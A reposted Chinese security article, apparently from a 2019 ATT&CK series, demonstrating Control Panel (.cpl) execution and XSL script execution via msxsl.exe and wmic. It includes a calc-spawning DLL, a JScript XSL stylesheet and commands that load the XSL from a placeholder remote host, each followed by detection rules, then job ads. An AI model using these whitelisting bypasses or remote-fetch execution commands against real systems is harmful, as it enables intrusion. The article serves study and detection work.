搜索

[6288] 2019-11-17_ATT&CK攻防初窥系列--命令执行

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2019-11-17_ATT&CK攻防初窥系列--命令执行 A T T & C K 攻 防 初 窥 系 列 - - 命 令 执 行 E 安 全   2 0 1 9 - 1 1 - 1 7 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 A i L P H A 安 全 分 析 队 N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言         如 果 要 评 选 网 络 安 全 界 近 年 热 词 排 行 的 话 ， 那 么 A T T & C K 这 个 词 一 定 是 稳 居 t o p 3 的 。 我 们 经 常 看 到 关 于 A T T & C K 的 一 些 技 术 文 章 分 享 ， 那 么 A T T & C K 到 底 是 什 么 呢 ？ M I T R E   A T T & C K ™   i s   a   g l o b a l l y - a c c e s s i b l e   k n o w l e d g e   b a s e   o f   a d v e r s a r y t a c t i c s   a n d   t e c h n i q u e s   b a s e d   o n   r e a l - w o r l d   o b s e r v a t i o n s . 这 是 官 网 对 于 A T T & C K 框 架 的 解 释 ， 向 我 们 表 明 了 A T T & C K 是 一 个 基 于 真 实 世 界 所 观 测 到 的 对 抗 性 战 术 和 知 识 库 。 其 将 众 多 的 红 队 技 术 分 门 别 类 的 列 举 了 出 来 ， 对 于 红 队 的 进 攻 有 着 很 强 的 指 导 意 义 。 而 对 于 蓝 队 来 说 ， A T T & C K 框 架 为 蓝 队 提 供 了 一 种 相 互 沟 通 的 语 言 ， 可 以 理 解 为 一 种 通 用 货 币 ， 使 得 蓝 队 可 以 围 绕 着 A T T & C K 框 架 共 筑 安 全 长 城 。 介 于 A T T & C K 框 架 对 于 红 蓝 双 方 学 习 的 重 要 性 和 必 要 性 ， 我 们 团 队 将 会 对 A T T & C K 的 研 究 专 门 写 一 个 系 列 ， 具 体 介 绍 A T T & C K 技 术 的 复 现 和 威 胁 特 征 提 取 。         A T T & C K 框 架 将 对 抗 性 战 术 分 为 几 个 阶 段 ， 分 别 是 I n i t i a l   A c c e s s 、 E x e c u t i o n 、 P e r s i s t e n c e 、 P r i v i l e g e   E s c a l a t i o n 、 D e f e n s e E v a s i o n 、 C r e d e n t i a l   A c c e s s 、 D i s c o v e r y 、 L a t e r a l   M o v e m e n t 、 C o l l e c t i o n 、 C 2 、 E x f i l t r a t i o n 、 i m p a c t 。 我 们 首 先 从 执 行 入 手 ， 带 领 大 家 初 窥 A T T & C K 攻 防 。 N o . 3 N o . 3 T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l T 1 1 9 6 - C o n t r o l   P a n e l I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s I t e m s         控 制 面 板 项 目 是 注 册 的 可 执 行 文 件 （ . e x e ） 或 控 制 面 板 （ . c p l ） 文 件 ， C P L 实 际 上 是 重 命 名 的 动 态 链 接 库 （ . d l l ） 文 件 ， 可 导 出 C P l A p p l e t 函 数 。 控 制 面 板 项 可 以 直 接 从 命 令 行 执 行 ， 也 可 以 通 过 C o n t r o l _ R u n D L L （ A P I ） 调 用 或 者 直 接 双 击 文 件 。         攻 击 者 可 以 使 用 控 制 面 板 项 目 来 执 行 任 意 命 令 。 恶 意 控 制 面 板 项 目 可 以 通 过 钓 鱼 邮 件 投 递 ， 也 可 以 作 为 多 阶 段 恶 意 软 件 的 一 个 执 行 方 法 。 控 制 面 板 项 目 ， 尤 其 是 C P L 文 件 ， 也 可 能 会 绕 过 应 用 程 序 或 文 件 扩 展 名 白 名 单 。 命 令 执 行 命 令 执 行 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
/ /   d l l m a i n . c p p   :   定 义   D L L   应 用 程 序 的 入 口 点 。 # i n c l u d e   " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > B O O L   A P I E N T R Y   D l l M a i n (   H M O D U L E   h M o d u l e ,                                             D W O R D     u l _ r e a s o n _ f o r _ c a l l ,                                             L P V O I D   l p R e s e r v e d                                         ) {         s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )       {         c a s e   D L L _ P R O C E S S _ A T T A C H :               W i n E x e c ( " c m d . e x e   / c   c a l c " ,   S W _ S H O W ) ;       c a s e   D L L _ T H R E A D _ A T T A C H :         c a s e   D L L _ T H R E A D _ D E T A C H :         c a s e   D L L _ P R O C E S S _ D E T A C H :                 b r e a k ;       }         r e t u r n   T R U E ; } 这 里 我 们 用 了 点 取 巧 的 办 法 ， 直 接 将 代 码 写 在 了 a t t a c h 里 面 ， 将 上 述 代 码 编 译 为 d l l 文 件 C P I A p p l e t . d l l ( 可 以 随 意 命 名 ) , 然 后 将 C P I A p p l e t . d l l 重 命 名 为 C P I A p p l e t . c p l 技 术 复 现 技 术 复 现 c o n t r o l . e x e   c : u s e r s W 1 0 P C 1 d e s k t o p C P I A p p l e t . c p l       / / 这 里 c p l 一 定 要 采 用 绝 对 路 径 否 则 失 败 技 术 复 现 技 术 复 现 ( 双 击 双 击 )
技 术 复 现 技 术 复 现 ( 使 用 导 出 函 数 使 用 导 出 函 数 C o n t r o l _ R u n D L L ) r u n d l l 3 2 . e x e   s h e l l 3 2 . d l l , C o n t r o l _ R u n D L L   c : u s e r s W 1 0 P C 1 d e s k t o p C P I A p p l e t . c p l 威 胁 检 测 威 胁 检 测 数 据 源 ： 数 据 源 ： A P I 监 视 ， 二 进 制 文 件 元 数 据 ， D L L 监 视 ， W i n d o w s 注 册 表 ， W i n d o w s 事 件 日 志 ， 进 程 命 令 行 参 数 ， 进 程 监 视 进 程 特 征 ： 进 程 特 征 ： （ 级 别 ： 高 ） #   无 论 是 通 过 c o n t r o l . e x e 执 行 、 还 是 双 击 ， 最 后 都 会 通 过 r u n d l l 3 2 调 用 s h e l l 3 2 的 导 出 函 数 C o n t r o l _ R u n D L L 来 运 行 p a y l o a d I m a g e   c o n t a i n s   ' r u n d l l 3 2 . e x e '   A N D   C o m m a n d L i n e   c o n t a i n s   ' S h e l l 3 2 . d l l '   A N D   C o m m a n d L i n e   c o n t a i n s   ' C o n t r o l _ R u n D L L '   A N D C o m m a n d L i n e   r e g e x   ' ^ . * . c p l $ '
进 程 特 征 ： 进 程 特 征 ： （ 级 别 ： 仅 审 计 ） #   执 行 的 p a y l o a d 文 件 后 缀 名 不 一 定 是 c p l ， 可 以 是 任 意 后 缀 ， 为 了 防 止 被 绕 过 检 测 。 需 要 记 录 其 他 相 关 调 用 C o n t r o l _ R u n D L L   A P I 的 行 为 I m a g e   c o n t a i n s   ' r u n d l l 3 2 . e x e '   A N D   C o m m a n d L i n e   c o n t a i n s   ' S h e l l 3 2 . d l l '   A N D   C o m m a n d L i n e   c o n t a i n s ' C o n t r o l _ R u n D L L ' N o . 4 N o . 4 T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t T 1 2 2 0   X S L   S c r i p t P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g P r o c e s s i n g X S L   指 扩 展 样 式 表 语 言 （ E X t e n s i b l e   S t y l e s h e e t   L a n g u a g e ） 。 万 维 网 联 盟   ( W 3 C )   开 始 发 展   X S L   的 原 因 是 ： 存 在 着 对 于 基 于   X M L   的 样 式 表 语 言 的 需 求 。 在 红 蓝 对 抗 中 ， 使 用 X S L 文 件 执 行 恶 意 代 码 有 时 可 以 帮 助 我 们 绕 过 A P P L o c k e r 。 下 面 介 绍 两 种 利 用 手 段 。 命 令 执 行 命 令 执 行 技 术 复 现 技 术 复 现 ( M S X S L . E X E )
m s x s l . e x e 是 微 软 用 于 命 令 行 下 处 理 X S L 的 一 个 程 序 ， 通 过 它 我 们 可 以 执 行 X S L 内 的 J a v a S c r i p t 进 而 执 行 系 统 命 令 。 下 载 地 址 : h t t p s : / / w w w . m i c r o s o f t . c o m / e n - u s / d o w n l o a d / c o n f i r m a t i o n . a s p x ? i d = 2 1 7 1 4 。 m s x s l 命 令 行 接 收 形 为   m s x s l . e x e   { x m l f i l e }     { x s l f i l e }   的 参 数 。 由 于 X S L 算 是 一 种 特 殊 的 X M L ， 我 们 可 以 使 用 m s x s l . e x e   { x s l f i l e }   { x s l f i l e } 调 用 x s l 文 件 内 的 命 令 。 A i l . x s l < ? x m l   v e r s i o n = ' 1 . 0 ' ? > < x s l : s t y l e s h e e t   v e r s i o n = " 1 . 0 " x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " x m l n s : m s x s l = " u r n : s c h e m a s - m i c r o s o f t - c o m : x s l t " x m l n s : u s e r = " h t t p s : / / w w w . d b a p p s e c u r i t y . c o m . c n " > < m s x s l : s c r i p t   l a n g u a g e = " J S c r i p t "   i m p l e m e n t s - p r e f i x = " u s e r " >       f u n c t i o n   x m l ( n o d e l i s t )   { v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c a l c . e x e " ) ;       r e t u r n   n o d e l i s t . n e x t N o d e ( ) . x m l ;     } < / m s x s l : s c r i p t > < x s l : t e m p l a t e   m a t c h = " / " >     < x s l : v a l u e - o f   s e l e c t = " u s e r : x m l ( . ) " / > < / x s l : t e m p l a t e > < / x s l : s t y l e s h e e t > 本 地 执 行 本 地 执 行 m s x s l . e x e   A i l . x s l   A i l . x s l 远 程 执 行 远 程 执 行 m s x s l . e x e   h t t p : / / x x x . x x x . x x x . x x x / A i l . x s l   h t t p : / / x x x . x x x . x x x . x x x / A i l . x s l
技 术 复 现 技 术 复 现 ( W M I C . E X E ) w m i c 可 以 通 过 形 如 : w m i c . e x e     { w m i c _ c o m m a n d }   / F O R M A T : { x s l _ f i l e } 的 方 式 执 行 x s l 内 的 恶 意 代 码 。 { w m i c   c o m m a n d 内 可 以 填 写 任 意 的 w m i c 可 执 行 的 命 令 } 本 地 执 行 本 地 执 行 w m i c   p r o c e s s   g e t   n a m e   / f o r m a t : A i l . x s l 远 程 执 行 远 程 执 行 w m i c   p r o c e s s   g e t   n a m e   / f o r m a t : " h t t p : / / x x x . x x x . x x x . x x x / A i l . x s l "             / / 这 里 的 f o r m a t 后 的 网 址 一 定 要 加 上 双 引 号 不 然 会 报 错
N o . 5 N o . 5 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 威 胁 检 测 数 据 源 数 据 源 : 进 程 监 视 ， 进 程 命 令 行 参 数 ， 网 络 的 进 程 使 用 ， D L L 监 视 M S X S L . E X E 进 程 特 征 ： 进 程 特 征 ： （ 级 别 ： 高 ） # 当 M S X S L . E X E 作 为 父 进 程 创 建 其 他 进 程 时 视 为 可 疑 P a r e n t I m a g e   r e g e x   ' ^ . * m s x s l . e x e $ ' 加 载 项 特 征 ： 加 载 项 特 征 ： （ 级 别 ： 高 ） # 当 M S X S L . E X E 加 载 j s c r i p t . d l l 时 视 为 可 疑 I m a g e   r e g e x   ' ^ . * m s x s l . e x e $ '   A N D   I m a g e L o a d e d   c o n t a i n s   ' j s c r i p t . d l l ' W M I C . E X E 加 载 项 特 征 ： （ 级 别 ： 高 ）
# 当 W M I C . E X E 加 载 j s c r i p t . d l l 视 为 可 疑 I m a g e   r e g e x   ' ^ . * w m i c . e x e $ '   A N D   I m a g e L o a d e d   c o n t a i n s   ' j s c r i p t . d l l ' N o . 6 N o . 6 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事
雷 神 众 测 S R C 运 营 （ 实 习 生 ） — — — — — — — — 工 作 地 点 ： 杭 州 （ 总 部 ） 、 广 州 、 成 都 、 上 海 、 北 京 【 职 责 描 述 】 1 .     负 责 S R C 的 微 博 、 微 信 公 众 号 等 线 上 新 媒 体 的 运 营 工 作 ， 保 持 用 户 活 跃 度 ， 提 高 站 点 访 问 量 ； 2 .     负 责 白 帽 子 提 交 漏 洞 的 漏 洞 审 核 、 R a n k 评 级 、 漏 洞 修 复 处 理 等 相 关 沟 通 工 作 ， 促 进 审 核 人 员 与 白 帽 子 之 间 友 好 协 作 沟 通 ； 3 .     参 与 策 划 、 组 织 和 落 实 针 对 白 帽 子 的 线 下 活 动 ， 如 沙 龙 、 发 布 会 、 技 术 交 流 论 坛 等 ； 4 .     积 极 参 与 雷 神 众 测 的 品 牌 推 广 工 作 ， 协 助 技 术 人 员 输 出 优 质 的 技 术 文 章 ； 5 .     积 极 参 与 公 司 媒 体 、 行 业 内 相 关 媒 体 及 其 他 市 场 资 源 的 工 作 沟 通 工 作 。 【 任 职 要 求 】     1 .     责 任 心 强 ， 性 格 活 泼 ， 具 备 良 好 的 人 际 交 往 能 力 ；   2 .     对 网 络 安 全 感 兴 趣 ， 对 行 业 有 基 本 了 解 ；   3 .     良 好 的 文 案 写 作 能 力 和 活 动 组 织 协 调 能 力 。 雷 神 众 测 白 帽 运 营 （ 实 习 生 ） — — — — — — — — 工 作 地 点 ： 杭 州 （ 总 部 ） 、 广 州 、 成 都 、 上 海 、 北 京 【 岗 位 职 责 】 1 . 准 确 了 解 白 帽 子 爱 好 ， 发 掘 白 帽 子 需 求 2 . 负 责 各 类 周 边 、 礼 物 的 挑 选 与 采 购 3 . 对 黑 客 文 化 有 深 刻 认 知 4 . 维 护 白 帽 关 系 【 任 职 要 求 】 1 . 具 有 良 好 的 审 美 眼 光 2 . 具 备 定 制 礼 品 礼 物 经 验 3 . 较 强 的 沟 通 以 及 协 调 能 力 4 . 为 人 正 直 ， 具 备 良 好 的 职 业 道 德 ， 能 吃 苦 耐 劳 ， 具 有 良 好 的 团 队 合 作 精 神 【 加 分 项 】 1 、 具 备 美 术 功 底 、 懂 得 设 计 美 化 等 2 、 有 互 联 网 运 营 经 验 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
设 计 师 — — — — — — — — 【 职 位 描 述 】 负 责 设 计 公 司 日 常 宣 传 图 片 、 软 文 等 与 设 计 相 关 工 作 ， 负 责 产 品 品 牌 设 计 。 【 职 位 要 求 】 1 、 从 事 平 面 设 计 相 关 工 作 1 年 以 上 ， 熟 悉 印 刷 工 艺 ； 具 有 敏 锐 的 观 察 力 及 审 美 能 力 ， 及 优 异 的 创 意 设 计 能 力 ； 有   V I   设 计 、 广 告 设 计 、 画 册 设 计 等 专 长 ； 2 、 有 良 好 的 美 术 功 底 ， 审 美 能 力 和 创 意 ， 色 彩 感 强 ； 精 通 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 等 设 计 制 作 软 件 ； 3 、 有 品 牌 传 播 、 产 品 设 计 或 新 媒 体 视 觉 工 作 经 历 ； 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 1 9 楼 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： W e b 安 全   安 全 研 究 员 部 门 ： 安 服 战 略 支 援 部 薪 资 ： 1 3 - 3 0 K 工 作 年 限 ： 1 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） 、 广 州 、 成 都 、 上 海 、 北 京 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 … 【 岗 位 职 责 】 1 . 定 期 面 向 部 门 、 全 公 司 技 术 分 享 ; 2 . 前 沿 攻 防 技 术 研 究 、 跟 踪 国 内 外 安 全 领 域 的 安 全 动 态 、 漏 洞 披 露 并 落 地 沉 淀 ； 3 . 负 责 完 成 部 门 渗 透 测 试 、 红 蓝 对 抗 业 务 ; 4 . 负 责 自 动 化 平 台 建 设 5 . 负 责 针 对 常 见 W A F 产 品 规 则 进 行 测 试 并 落 地 b y p a s s 方 案 【 岗 位 要 求 】 1 . 至 少 1 年 安 全 领 域 工 作 经 验 ；
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理